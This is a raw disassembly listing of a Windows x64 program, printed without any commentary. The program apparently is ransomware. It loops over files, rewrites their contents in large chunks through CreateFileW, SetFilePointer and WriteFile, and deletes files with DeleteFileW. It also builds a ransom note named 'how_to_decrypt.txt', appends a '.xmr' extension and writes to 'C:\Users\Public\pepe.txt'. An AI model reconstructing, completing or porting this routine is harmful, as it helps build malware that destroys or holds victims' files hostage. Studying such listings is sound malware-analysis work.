mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test rbx, rbx
jle 0x14000d88e
cmp rdi, 0x5f5e100
jle 0x14000d88e
movabs rax, 0x55e63b88c230e77f
imul rdi
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
xor edi, edi
test edx, edx
jle 0x14000d890
mov r14d, edi
movsxd r15, edx
lea r12, vtable.CVolObject.0
lea rsi, vtable.CVolMem.0
xor edx, edx
mov rcx, rbx
call fcn.1400070b0
mov edx, r14d
lea rcx, [rbp + 0xd00]
call fcn.140011940
nop
lea r8, str.00000000
mov rdx, rax
lea rcx, [rbp + 0xca8]
call fcn.1400205d0
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000cd0b
cmp qword [rax + 0x48], rcx
lea rcx, [0x140047278]
je 0x14000cd0b
mov rcx, qword [rax + 0x38]
call fcn.14001f2c0
mov rdx, rax
mov rcx, rbx
call fcn.1400070b0
nop
lea rcx, [rbp + 0xca8]
call fcn.1400044d0
nop
lea rcx, [rbp + 0xd00]
call fcn.1400044d0
mov r8d, 0x5f5e100
mov rdx, rbx
lea rcx, [rbp + 0x7a0]
call fcn.140006e70
mov rdi, rax
lea rcx, [rbp + 0xe0]
mov rdx, qword [rbp + 0xe0]
call qword [rdx + 0x88]
mov rdx, rdi
lea rcx, [rbp + 0xe0]
call fcn.140004ca0
nop
mov qword [rbp + 0x7a0], rsi
mov rdx, qword [rbp + 0x7b8]
test rdx, rdx
je 0x14000cd95
lea rcx, [rbp + 0x7a0]
mov rax, qword [rbp + 0x7a0]
call qword [rax + 0x18]
xor edi, edi
mov qword [rbp + 0x7b8], rdi
mov qword [rbp + 0x7c8], rdi
mov qword [rbp + 0x7c0], rdi
mov qword [rbp + 0x7a0], r12
cmp dword [rbp + 0x108], 0x5f5e100
jne 0x14000cfab
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], rdi
mov qword [rbp + 0x178], rdi
mov qword [rbp + 0x168], rsi
mov qword [rbp + 0x180], rdi
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x188], rdi
mov qword [rbp + 0x198], 0x40
mov qword [rbp + 0x168], rsi
mov rax, qword [rbp + 0x528]
test rax, rax
jne 0x14000ce36
lea rax, [0x140047278]
cmp qword [rbp + 0x558], rdi
cmovne rax, qword [rbp + 0x548]
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.14001e590
nop
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x7d8]
call fcn.1400064d0
mov rdi, rax
lea rcx, [rbp + 0xe0]
mov rdx, qword [rbp + 0xe0]
call qword [rdx + 0x88]
mov rdx, rdi
lea rcx, [rbp + 0xe0]
call fcn.140004ca0
nop
mov qword [rbp + 0x7d8], rsi
mov rdx, qword [rbp + 0x7f0]
test rdx, rdx
je 0x14000ceab
lea rcx, [rbp + 0x7d8]
mov rax, qword [rbp + 0x7d8]
call qword [rax + 0x18]
xor edi, edi
mov qword [rbp + 0x7f0], rdi
mov qword [rbp + 0x800], rdi
mov qword [rbp + 0x7f8], rdi
mov qword [rbp + 0x7d8], r12
mov qword [rbp + 0x168], rsi
mov rdx, qword [rbp + 0x180]
test rdx, rdx
je 0x14000ceed
lea rcx, [rbp + 0x168]
mov rax, qword [rbp + 0x168]
call qword [rax + 0x18]
mov qword [rbp + 0x180], rdi
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x188], rdi
mov qword [rbp + 0x168], r12
xor edx, edx
mov rcx, rbx
call fcn.1400070b0
mov edx, r14d
lea rcx, [rbp + 0xa98]
call fcn.140011940
nop
lea r8, str.00000000
mov rdx, rax
lea rcx, [rbp + 0xd58]
call fcn.1400205d0
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000cf54
cmp qword [rax + 0x48], rcx
lea rcx, [0x140047278]
je 0x14000cf54
mov rcx, qword [rax + 0x38]
call fcn.14001f2c0
mov rdx, rax
mov rcx, rbx
call fcn.1400070b0
nop
lea rcx, [rbp + 0xd58]
call fcn.1400044d0
nop
lea rcx, [rbp + 0xa98]
call fcn.1400044d0
mov rdx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x108]
test rax, rax
cmove rdx, rdi
mov dword [rbp - 0x40], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x40]
mov r8d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
inc r14
cmp r14, r15
jl 0x14000ccc0
mov esi, dword [rbp + 0x3d0]
mov r14, rdi
lea r13, vtable.CVolObject.0
lea r12, vtable.CVolMem.0
nop
mov qword [rbp - 0x40], rdi
xor r9d, r9d
lea r8, [rbp - 0x3c]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rbp - 0x40], eax
cmp eax, 0xffffffff
jne 0x14000cff4
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], rdi
lea rdx, vtable.CWString.0
mov qword [rbp - 0x30], rdx
lea rax, [rbp - 0x10]
mov qword [rbp + 0x948], rax
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], rdi
mov qword [rbp], rdi
mov qword [rbp - 0x10], r12
mov qword [rbp + 8], rdi
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x20], 0x40
mov qword [rbp - 0x18], rdi
mov qword [rbp + 0x20], 0xfe
mov qword [rbp - 0x30], rdx
mov r8d, r14d
lea rdx, [0x14004ab54]
lea rcx, [rbp + 0xe60]
call fcn.14001f140
lea rdx, [rbp + 0xe60]
lea rcx, [rbp - 0x30]
call fcn.14001f850
nop
lea r8, str.00000000
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xaf0]
call fcn.1400205d0
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000d0b2
cmp qword [rax + 0x48], rcx
lea rcx, [0x140047278]
je 0x14000d0b2
mov rcx, qword [rax + 0x38]
call fcn.14001f2c0
mov qword [rbp - 0x40], rax
xor r9d, r9d
lea r8, [rbp - 0x3c]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rbp - 0x40], eax
cmp eax, 0xffffffff
jne 0x14000d0dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
lea rcx, [rbp + 0xb10]
call fcn.1400050f0
nop
mov qword [rbp + 0xaf0], r13
lea rax, [rbp - 0x10]
mov qword [rbp + 0x950], rax
mov qword [rbp - 0x10], r12
mov rdx, qword [rbp + 8]
test rdx, rdx
je 0x14000d113
lea rcx, [rbp - 0x10]
mov rax, qword [rbp - 0x10]
call qword [rax + 0x18]
mov qword [rbp + 8], rdi
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x10], rdi
mov qword [rbp - 0x10], r13
mov qword [rbp - 0x30], r13
mov r8d, 0x7d0
mov rdx, rbx
lea rcx, [rbp + 0x308]
call fcn.140006e70
mov rdi, rax
lea rcx, [rbp + 0x360]
mov rdx, qword [rbp + 0x360]
call qword [rdx + 0x88]
mov rdx, rdi
lea rcx, [rbp + 0x360]
call fcn.140004ca0
nop
mov qword [rbp + 0x308], r12
mov rdx, qword [rbp + 0x320]
test rdx, rdx
je 0x14000d187
lea rcx, [rbp + 0x308]
mov rax, qword [rbp + 0x308]
call qword [rax + 0x18]
xor edi, edi
mov qword [rbp + 0x320], rdi
mov qword [rbp + 0x330], rdi
mov qword [rbp + 0x328], rdi
mov qword [rbp + 0x308], r13
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x608], rax
mov qword [rbp + 0x608], r13
mov qword [rbp + 0x610], rdi
mov qword [rbp + 0x618], rdi
mov qword [rbp + 0x608], r12
mov qword [rbp + 0x620], rdi
mov qword [rbp + 0x630], rdi
mov qword [rbp + 0x628], rdi
mov qword [rbp + 0x638], 0x40
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x640], r13
mov qword [rbp + 0x648], rdi
mov qword [rbp + 0x650], rdi
mov qword [rbp + 0x640], r12
mov qword [rbp + 0x658], rdi
mov qword [rbp + 0x668], rdi
mov qword [rbp + 0x660], rdi
mov qword [rbp + 0x670], 0x40
mov qword [rbp + 0x640], r12
mov rax, qword [rbp + 0x888]
test rax, rax
jne 0x14000d25b
lea rax, [0x140047278]
cmp qword [rbp + 0x8b8], rdi
cmovne rax, qword [rbp + 0x8a8]
mov rdx, rax
lea rcx, [rbp + 0x640]
call fcn.14001e590
nop
or qword [rbp + 0x610], 1
mov dword [rsp + 0x48], 0x10
lea rax, [rbp + 0x608]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x100
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x640]
lea r8, [rbp + 0x360]
lea rcx, [rbp + 0x970]
call fcn.1400055f0
or esi, 4
mov dword [rbp - 0x38], esi
lea rcx, [rbp + 0x2d0]
mov rax, qword [rbp + 0x2d0]
call qword [rax + 0x88]
lea rdx, [rbp + 0x970]
lea rcx, [rbp + 0x2d0]
call fcn.140004ca0
and esi, 0xfffffffb
mov dword [rbp - 0x38], esi
mov qword [rbp + 0x970], r12
mov rdx, qword [rbp + 0x988]
test rdx, rdx
je 0x14000d320
lea rcx, [rbp + 0x970]
mov rax, qword [rbp + 0x970]
call qword [rax + 0x18]
mov qword [rbp + 0x988], rdi
mov qword [rbp + 0x998], rdi
mov qword [rbp + 0x990], rdi
mov qword [rbp + 0x970], r13
mov qword [rbp + 0x640], r12
mov rdx, qword [rbp + 0x658]
test rdx, rdx
je 0x14000d360
lea rcx, [rbp + 0x640]
mov rax, qword [rbp + 0x640]
call qword [rax + 0x18]
mov qword [rbp + 0x658], rdi
mov qword [rbp + 0x668], rdi
mov qword [rbp + 0x660], rdi
mov qword [rbp + 0x640], r13
mov qword [rbp + 0x608], r12
mov rdx, qword [rbp + 0x620]
test rdx, rdx
je 0x14000d3a0
lea rcx, [rbp + 0x608]
mov rax, qword [rbp + 0x608]
call qword [rax + 0x18]
mov qword [rbp + 0x620], rdi
mov qword [rbp + 0x630], rdi
mov qword [rbp + 0x628], rdi
mov qword [rbp + 0x608], r13
mov r8, qword [rbp + 0x2f8]
mov eax, 0x7d0
cmp r8, rax
cmovg r8, rax
mov rdx, qword [rbp + 0x2e8]
lea rcx, [rbp + 0x1a0]
call fcn.1400075c0
or esi, 8
mov dword [rbp - 0x38], esi
lea rcx, [rbp + 0xe0]
mov rax, qword [rbp + 0xe0]
call qword [rax + 0x88]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xe0]
call fcn.140004ca0
and esi, 0xfffffff7
mov dword [rbp - 0x38], esi
mov qword [rbp + 0x1a0], r12
mov rdx, qword [rbp + 0x1b8]
test rdx, rdx
je 0x14000d439
lea rcx, [rbp + 0x1a0]
mov rax, qword [rbp + 0x1a0]
call qword [rax + 0x18]
mov qword [rbp + 0x1b8], rdi
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1a0], r13
mov qword [rbp - 0x40], rdi
xor r9d, r9d
lea r8, [rbp - 0x3c]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rbp - 0x40], eax
cmp eax, 0xffffffff
jne 0x14000d479
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
lea rdx, vtable.CWString.0
mov qword [rsp + 0x68], rdx
lea rax, [rbp - 0x78]
mov qword [rbp + 0x958], rax
mov qword [rbp - 0x78], rcx
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x48], 0x40
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x48], 0xfe
mov qword [rsp + 0x68], rdx
mov r8d, r14d
lea rdx, [0x14004ab54]
lea rcx, [rbp + 0xe60]
call fcn.14001f140
lea rdx, [rbp + 0xe60]
lea rcx, [rsp + 0x68]
call fcn.14001f850
nop
lea r8, str.00000000
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xb48]
call fcn.1400205d0
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000d53f
cmp qword [rax + 0x48], rcx
lea rcx, [0x140047278]
je 0x14000d53f
mov rcx, qword [rax + 0x38]
call fcn.14001f2c0
mov qword [rbp - 0x40], rax
xor r9d, r9d
lea r8, [rbp - 0x3c]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rbp - 0x40], eax
cmp eax, 0xffffffff
jne 0x14000d569
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
lea rcx, [rbp + 0xb68]
call fcn.1400050f0
nop
mov qword [rbp + 0xb48], r13
lea rax, [rbp - 0x78]
mov qword [rbp + 0x960], rax
mov qword [rbp - 0x78], r12
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x14000d5a0
lea rcx, [rbp - 0x78]
mov rax, qword [rbp - 0x78]
call qword [rax + 0x18]
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x78], r13
mov qword [rsp + 0x68], r13
mov rdx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x108]
test rax, rax
cmove rdx, rdi
mov dword [rbp - 0x40], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x40]
mov r8d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
inc r14
cmp r14, r15
jl 0x14000cfd0
mov dword [rbp + 0x3d0], esi
mov r12, qword [rbp + 0x150]
mov r13, qword [rbp + 0x678]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0xa40]
call fcn.1400077a0
nop
lea r8, str.how_to_decrypt.txt
mov rdx, rax
lea rcx, [rbp + 0xba0]
call fcn.1400205d0
mov rbx, rax
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x5d0], rax
lea r15, vtable.CVolObject.0
mov qword [rbp + 0x5d0], r15
mov qword [rbp + 0x5d8], rdi
mov qword [rbp + 0x5e0], rdi
lea r14, vtable.CVolMem.0
mov qword [rbp + 0x5d0], r14
mov qword [rbp + 0x5e8], rdi
mov qword [rbp + 0x5f8], rdi
mov qword [rbp + 0x5f0], rdi
mov qword [rbp + 0x600], 0x40
mov qword [rbp + 0x5d0], r14
mov rax, qword [rbp + 0x6f8]
test rax, rax
jne 0x14000d6ba
lea rax, [0x140047278]
cmp qword [rbp + 0x728], 0
cmovne rax, qword [rbp + 0x718]
mov rdx, rax
lea rcx, [rbp + 0x5d0]
call fcn.14001e590
nop
mov rdx, qword [rbx + 0x18]
test rdx, rdx
jne 0x14000d6e4
cmp qword [rbx + 0x48], rdx
lea rdx, [0x140047278]
je 0x14000d6e4
mov rdx, qword [rbx + 0x38]
lea rcx, [rbp + 0x5d0]
call fcn.14001e680
nop
mov qword [rbp + 0x5d0], r14
mov rdx, qword [rbp + 0x5e8]
test rdx, rdx
je 0x14000d715
lea rcx, [rbp + 0x5d0]
mov rax, qword [rbp + 0x5d0]
call qword [rax + 0x18]
mov qword [rbp + 0x5e8], rdi
mov qword [rbp + 0x5f8], rdi
mov qword [rbp + 0x5f0], rdi
mov qword [rbp + 0x5d0], r15
lea rcx, [rbp + 0xbc0]
call fcn.1400050f0
nop
mov qword [rbp + 0xba0], r15
lea rcx, [rbp + 0xa60]
call fcn.1400050f0
nop
mov qword [rbp + 0xa40], r15
lea r8, str..xmr
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x9e0]
call fcn.1400205d0
mov rbx, rax
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x118], r15
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0x118], r14
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x148], 0x40
mov qword [rbp + 0x118], r14
mov rax, qword [rbp + 0x758]
lea r14, [0x140047278]
test rax, rax
jne 0x14000d7ed
mov rax, r14
cmp qword [rbp + 0x788], 0
cmovne rax, qword [rbp + 0x778]
mov rdx, rax
lea rcx, [rbp + 0x118]
call fcn.14001e590
nop
mov rdx, qword [rbx + 0x18]
test rdx, rdx
jne 0x14000d813
cmp qword [rbx + 0x48], rdx
mov rdx, r14
je 0x14000d813
mov rdx, qword [rbx + 0x38]
lea rcx, [rbp + 0x118]
call fcn.14001e680
nop
lea rbx, vtable.CVolMem.0
mov qword [rbp + 0x118], rbx
mov rdx, qword [rbp + 0x130]
test rdx, rdx
je 0x14000d84b
lea rcx, [rbp + 0x118]
mov rax, qword [rbp + 0x118]
call qword [rax + 0x18]
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x118], r15
lea rcx, [rbp + 0xa00]
call fcn.1400050f0
nop
mov qword [rbp + 0x9e0], r15
mov r14d, dword [rbp + 0x160]
inc r14d
mov dword [rbp + 0x160], r14d
jmp 0x14000d89e
xor edi, edi
lea r15, vtable.CVolObject.0
lea rbx, vtable.CVolMem.0
inc r12
mov qword [rbp + 0x150], r12
cmp r12, r13
jge 0x14000d8b9
mov rdx, qword [rbp + 0x5b8]
jmp 0x14000c840
lea rbx, [0x140047278]
lea r12, vtable.CVolCommonBaseWithMemManager.0
lea r13, vtable.CVolMem.0
mov r8, qword [rbp + 0x158]
inc r8
mov qword [rbp + 0x158], r8
cmp r8, qword [rbp + 0x290]
jge 0x14000d8f4
mov rdx, qword [rbp + 0x858]
jmp 0x14000c640
mov qword [rbp + 0x698], rdi
mov rdx, qword [rbp + 0x6b8]
test rdx, rdx
je 0x14000d918
lea rcx, [rbp + 0x6a0]
mov rax, qword [rbp + 0x6a0]
call qword [rax + 0x18]
mov qword [rbp + 0x6b8], rdi
mov qword [rbp + 0x6c8], rdi
mov qword [rbp + 0x6c0], rdi
lea rdx, [0x140049448]
lea rcx, [rbp + 0x6a0]
call fcn.14001e460
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0xa98]
call fcn.14000eef0
mov rbx, rax
lea rcx, [rbp + 0x570]
mov rdx, qword [rbp + 0x570]
call qword [rdx + 0x88]
mov rdx, rbx
lea rcx, [rbp + 0x570]
call fcn.140009a10
nop
lea rcx, [rbp + 0xa98]
call fcn.140009b70
mov rdx, qword [rbp + 0x5b8]
mov rax, rdx
shr rax, 3
mov r15, rdi
mov qword [rbp + 0x150], rdi
movsxd r12, eax
mov qword [rbp + 0x290], r12
test eax, eax
jle 0x14000e4d7
lea rsi, vtable.CVolCommonBaseWithMemManager.0
nop word [rax + rax]
mov rcx, qword [rbp + 0x5a8]
test rdx, rdx
cmove rcx, rdi
movsxd rax, r15d
mov rdx, qword [rcx + rax*8]
mov qword [rbp + 0x30], rsi
lea rbx, vtable.CVolObject.0
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rdi
lea rcx, vtable.CWString.0
mov qword [rbp + 0x30], rcx
lea rax, [rbp + 0x50]
mov qword [rbp + 0x960], rax
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x78], rdi
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x80], 0x40
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x80], 0xfe
mov qword [rbp + 0x30], rcx
test rdx, rdx
lea rax, [0x140047278]
cmove rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001f850
nop
lea rcx, [rbp + 0x230]
mov rax, qword [rbp + 0x230]
call qword [rax + 0x88]
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x248], rax
lea rcx, [rbp + 0x250]
mov rax, qword [rbp + 0x250]
call qword [rax + 0x88]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x250]
call fcn.140004ca0
nop
lea rax, [rbp + 0x50]
mov qword [rbp + 0x958], rax
mov qword [rbp + 0x50], r13
mov rdx, qword [rbp + 0x68]
test rdx, rdx
je 0x14000dad5
lea rcx, [rbp + 0x50]
mov rax, qword [rbp + 0x50]
call qword [rax + 0x18]
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x78], rdi
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rdi
lea rcx, vtable.CWString.0
mov qword [rbp + 0x88], rcx
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x950], rax
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xa8], rbx
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xc8], rdi
mov qword [rbp + 0xd8], 0x40
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xd8], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp + 0x88], rax
lea rax, str.C:UsersPublicpepe.txt
mov qword [rbp + 0xa0], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x68], rcx
lea rax, [rbp - 0x78]
mov qword [rbp + 0x948], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x48], 0x40
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x48], 0xfe
mov qword [rsp + 0x68], rcx
mov r8d, r15d
lea rdx, [0x14004ab54]
lea rcx, [rbp + 0xe60]
call fcn.14001f140
lea rdx, [rbp + 0xe60]
lea rcx, [rsp + 0x68]
call fcn.14001f850
nop
lea r8, [rsp + 0x68]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x9e0]
call fcn.140020420
nop
mov rdx, rax
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov rcx, rax
mov rax, qword [rbp + 0xa0]
test rax, rax
jne 0x14000dc65
lea rax, [0x140047278]
cmp qword [rbp + 0xd0], 0
cmovne rax, qword [rbp + 0xc0]
mov rdx, rax
call fcn.14001e680
nop
mov qword [rbp + 0x308], r13
mov rdx, qword [rbp + 0x320]
test rdx, rdx
je 0x14000dc92
lea rcx, [rbp + 0x308]
mov rax, qword [rbp + 0x308]
call qword [rax + 0x18]
mov qword [rbp + 0x320], rdi
mov qword [rbp + 0x330], rdi
mov qword [rbp + 0x328], rdi
mov qword [rbp + 0x308], rbx
lea rcx, [rbp + 0xa00]
call fcn.1400050f0
nop
mov qword [rbp + 0x9e0], rbx
lea rax, [rbp - 0x78]
mov qword [rbp + 0x940], rax
mov qword [rbp - 0x78], r13
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x14000dce5
lea rcx, [rbp - 0x78]
mov rax, qword [rbp - 0x78]
call qword [rax + 0x18]
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x78], rbx
mov qword [rsp + 0x68], rbx
lea rcx, [rbp + 0x88]
call fcn.1400044d0
lea rcx, [rbp + 0x230]
call fcn.140007a10
mov rbx, rax
mov rax, qword [rbp + 0x248]
test rax, rax
jne 0x14000dd38
lea rax, [0x140047278]
cmp qword [rbp + 0x278], 0
cmovne rax, qword [rbp + 0x268]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 2
jge 0x14000dd97
mov rax, qword [rbp + 0x248]
test rax, rax
jne 0x14000dd8e
lea rax, [0x140047278]
cmp qword [rbp + 0x278], 0
cmovne rax, qword [rbp + 0x268]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test rdi, rdi
jle 0x14000e4ba
cmp rbx, 0x5f5e100
jle 0x14000e4ba
movabs rax, 0x55e63b88c230e77f
imul rbx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
test edx, edx
jle 0x14000e4ba
xor r13d, r13d
mov esi, r13d
movsxd r14, edx
test edx, edx
jle 0x14000e3b5
lea r12, vtable.CVolObject.0
lea rbx, vtable.CVolMem.0
lea r15, vtable.CVolCommonBaseWithMemManager.0
xor edx, edx
mov rcx, rdi
call fcn.1400070b0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
lea rcx, vtable.CWString.0
mov qword [rbp - 0x30], rcx
lea rax, [rbp - 0x10]
mov qword [rbp + 0x938], rax
mov qword [rbp - 0x10], r15
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r13
mov qword [rbp], r13
mov qword [rbp - 0x10], rbx
mov qword [rbp + 8], r13
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x20], 0x40
mov qword [rbp - 0x18], r13
mov qword [rbp + 0x20], 0xfe
mov qword [rbp - 0x30], rcx
mov r8d, esi
lea rdx, [0x14004ab54]
lea rcx, [rbp + 0xe60]
call fcn.14001f140
lea rdx, [rbp + 0xe60]
lea rcx, [rbp - 0x30]
call fcn.14001f850
nop
lea r8, str.00000000
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xa40]
call fcn.1400205d0
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000deb7
cmp qword [rax + 0x48], rcx
lea rcx, [0x140047278]
je 0x14000deb7
mov rcx, qword [rax + 0x38]
call fcn.14001f2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400070b0
nop
lea rcx, [rbp + 0xa60]
call fcn.1400050f0
nop
mov qword [rbp + 0xa40], r12
lea rax, [rbp - 0x10]
mov qword [rbp + 0x930], rax
mov qword [rbp - 0x10], rbx
mov rdx, qword [rbp + 8]
test rdx, rdx
je 0x14000deff
lea rcx, [rbp - 0x10]
mov rax, qword [rbp - 0x10]
call qword [rax + 0x18]
mov qword [rbp + 8], r13
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x10], r13
mov qword [rbp - 0x10], r12
mov qword [rbp - 0x30], r12
mov r8d, 0x5f5e100
mov rdx, rdi
lea rcx, [rbp + 0x7d8]
call fcn.140006e70
mov rbx, rax
lea rcx, [rbp + 0xe0]
mov rdx, qword [rbp + 0xe0]
call qword [rdx + 0x88]
mov rdx, rbx
lea rcx, [rbp + 0xe0]
call fcn.140004ca0
nop
lea rbx, vtable.CVolMem.0
mov qword [rbp + 0x7d8], rbx
mov rdx, qword [rbp + 0x7f0]
test rdx, rdx
je 0x14000df7a
lea rcx, [rbp + 0x7d8]
mov rax, qword [rbp + 0x7d8]
call qword [rax + 0x18]
mov qword [rbp + 0x7f0], r13
mov qword [rbp + 0x800], r13
mov qword [rbp + 0x7f8], r13
mov qword [rbp + 0x7d8], r12
cmp dword [rbp + 0x108], 0x5f5e100
jne 0x14000e18d
mov qword [rbp + 0x118], r15
mov qword [rbp + 0x118], r12
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x128], r13
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x138], r13
mov qword [rbp + 0x148], 0x40
mov qword [rbp + 0x118], rbx
mov rax, qword [rbp + 0x528]
test rax, rax
jne 0x14000e013
lea rax, [0x140047278]
cmp qword [rbp + 0x558], 0
cmovne rax, qword [rbp + 0x548]
mov rdx, rax
lea rcx, [rbp + 0x118]
call fcn.14001e590
nop
lea r8, [rbp + 0x118]
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x7a0]
call fcn.1400064d0
mov rbx, rax
lea rcx, [rbp + 0xe0]
mov rdx, qword [rbp + 0xe0]
call qword [rdx + 0x88]
mov rdx, rbx
lea rcx, [rbp + 0xe0]
call fcn.140004ca0
nop
lea rbx, vtable.CVolMem.0
mov qword [rbp + 0x7a0], rbx
mov rdx, qword [rbp + 0x7b8]
test rdx, rdx
